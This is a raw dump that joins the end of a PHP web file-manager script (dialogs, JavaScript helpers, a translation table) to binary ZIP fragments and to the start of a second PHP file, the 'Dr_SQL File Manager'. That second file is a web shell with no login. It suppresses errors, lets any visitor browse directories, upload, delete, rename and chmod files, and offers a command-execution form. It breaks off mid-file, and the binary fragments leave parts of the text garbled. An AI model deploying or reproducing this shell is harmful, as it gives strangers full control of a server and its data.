<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'monactinellidan'; $tr['en']['AppTitle'] = 'monactinellidan';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK �9m\h�_�� � 2m6cn-20260307205259.phpnu �[��� PK �;[���O 7 tronitmQak�0�^���t�p��.NEF�CG�O"�ԫ�umI�p���%��.r���ݻ�ä�%AJ^�L�T(�m˶�=�B�_h��X��C�rȀF��vi�0�An��$w&�!ҧ$���PR�S�mhAC�L� =hإ}]��0��Xp�н�4{�����?N6t|��vy�0�v�"^,^泵�$�"��ѷm!}ܬ*�J� ��N)�o��APH�(����x��}��hU�Xj���A�7�q���ߖL?h4Ff��5���U2[&���)NQ����?���G�ڎ���R�o��ῂ�6�3-�7{�g�j^�rb!*ᴺ��/PK �;[���O 7 $ tronit
u�%��u�%��Y�
��PK X s PK �9m\Q��0, 0, 95r6k.phpnu �[��� <?php
error_reporting(0);
if (isset($_GET['d'])) {
$decoded = urldecode($_GET['d']);
if (is_dir($decoded)) {
@chdir($decoded);
}
}
$me = basename(__FILE__);
$bckC = '#333333';
$txtC = '#999999';
$current_dir = getcwd();
// === Handle Actions ===
if ($_POST['action'] === 'upload' && !empty($_FILES['file']['name'])) {
$name = basename($_FILES['file']['name']);
@move_uploaded_file($_FILES['file']['tmp_name'], $name);
}
if ($_POST['action'] === 'mkdir' && !empty($_POST['name'])) {
@mkdir($_POST['name']);
}
if ($_POST['action'] === 'mkfile' && !empty($_POST['name'])) {
@file_put_contents($_POST['name'], '');
}
if ($_GET['action'] === 'delete_file' && !empty($_GET['path'])) {
@unlink(urldecode($_GET['path']));
}
if ($_GET['action'] === 'delete_dir' && !empty($_GET['path'])) {
@rmdir(urldecode($_GET['path']));
}
if ($_POST['action'] === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
@rename($_POST['old'], $_POST['new']);
}
if ($_POST['action'] === 'chmod' && !empty($_POST['path']) && !empty($_POST['mode'])) {
@chmod($_POST['path'], octdec($_POST['mode']));
}
// === Output HTML ===
print <<<HTML
<html>
<head>
<title>Dr_SQL</title>
<style>
body { background: {$bckC}; color: {$txtC}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }
a { color: {$txtC}; text-decoration: none; }
a:hover { color: #79a317; }
.header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
.breadcrumb { margin: 10px 0; font-size: 10pt; }
.breadcrumb a { color: #79a317; }
.actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }
.actions form { display: flex; gap: 5px; }
.actions input { background: {$bckC}; color: {$txtC}; border: 1px solid {$txtC}; border-radius: 5px; padding: 3px 6px; }
.actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }
th { color: #79a317; font-weight: bold; }
tr:hover { background: rgba(121,163,23,0.05); }
.file-icon { width: 16px; margin-right: 5px; }
.perm-writable { color: #ccff00; }
.perm-readable { color: {$txtC}; }
.perm-locked { color: crimson; }
.btn { background: rgba(0,0,0,0.3); color: {$txtC}; border: 1px solid {$txtC}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }
.btn:hover { background: #79a317; color: black; }
.hidden { display: none; }
.popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }
</style>
<script>
function togglePopup(id) {
let el = document.getElementById(id);
el.style.display = el.style.display === 'block' ? 'none' : 'block';
}
function closePopup(id) {
document.getElementById(id).style.display = 'none';
}
</script>
</head>
<body>
HTML;
// === Breadcrumb ===
function getBreadcrumb($path) {
$parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
$build = '';
$curr = '/';
$html = '<a href="?">Root</a>';
foreach ($parts as $part) {
if ($part === '') continue;
$curr = rtrim($curr, '/') . '/' . $part;
$html .= ' / <a href="?d=' . urlencode($curr) . '">' . htmlspecialchars($part) . '</a>';
}
return $html;
}
echo '<div class="header">';
echo '<h2 style="color:#79a317; margin:0;">📠Dr_SQL File Manager</h2>';
echo '<a href="?x=info" style="color:#79a317;">[Info]</a>';
echo '</div>';
echo '<div class="breadcrumb">' . getBreadcrumb($current_dir) . '</div>';
// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<<ACTIONS
<div class="actions">
<form method="POST">
<input type="hidden" name="action" value="mkdir">
<input type="text" name="name" placeholder="New Folder" required>
<button type="submit">📠Create Dir</button>
</form>
<form method="POST">
<input type="hidden" name="action" value="mkfile">
<input type="text" name="name" placeholder="New File" required>
<button type="submit">📄 Create File</button>
</form>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" required>
<button type="submit">â¬†ï¸ Upload</button>
</form>
<form method="POST" action="?x=cmd&d={$enc_dir}">
<input type="text" name="cmd" placeholder="Command" style="width:120px;">
<button type="submit">💻 CMD</button>
</form>
</div>
ACTIONS;
// === File List ===
$items = [];
if ($dh = @opendir('.')) {
while (($f = readdir($dh)) !== false) {
if ($f === '.' || $f === '..') continue;
$items[] = $f;
}
closedir($dh);
natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}
echo '<table>';
echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>';
echo '<tbody>';
foreach ($items as $item) {
$path = $current_dir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($item);
$size = $isDir ? '-' : number_format(filesize($item));
$perm = substr(sprintf('%o', fileperms($item)), -4);
$color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');
// Owner/Group
$owner = $group = '???';
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$o = @posix_getpwuid(@fileowner($item));
$g = @posix_getgrgid(@filegroup($item));
$owner = $o ? $o['name'] : '???';
$group = $g ? $g['name'] : '???';
}
$enc_item = urlencode($item);
$enc_path = urlencode($path);
$edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
$name_display = htmlspecialchars($item) . ($isDir ? '/' : '');
echo '<tr>';
echo "<td><a href=\"{$edit_link}\">{$name_display}</a></td>";
echo "<td>{$size}</td>";
echo "<td><span class=\"{$color}\">{$perm}</span></td>";
echo "<td>{$owner}:{$group}</td>";
echo "<td>";
// Actions
if (!$isDir) {
echo "<a href=\"?x=edit&f={$enc_item}\" class=\"btn\">Edit</a>";
}
// Rename Popup
echo " <a href=\"javascript:togglePopup('rename_{$enc_item}')\" class=\"btn\">Rename</a>";
echo "<div id=\"rename_{$enc_item}\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
echo "<input type=\"hidden\" name=\"old\" value=\"{$item}\">";
echo "<input type=\"text\" name=\"new\" value=\"{$item}\" style=\"width:120px;\">";
echo " <button type=\"submit\">✓</button>";
echo " <button type=\"button\" onclick=\"closePopup('rename_{$enc_item}')\">✕</button>";
echo "</form></div>";
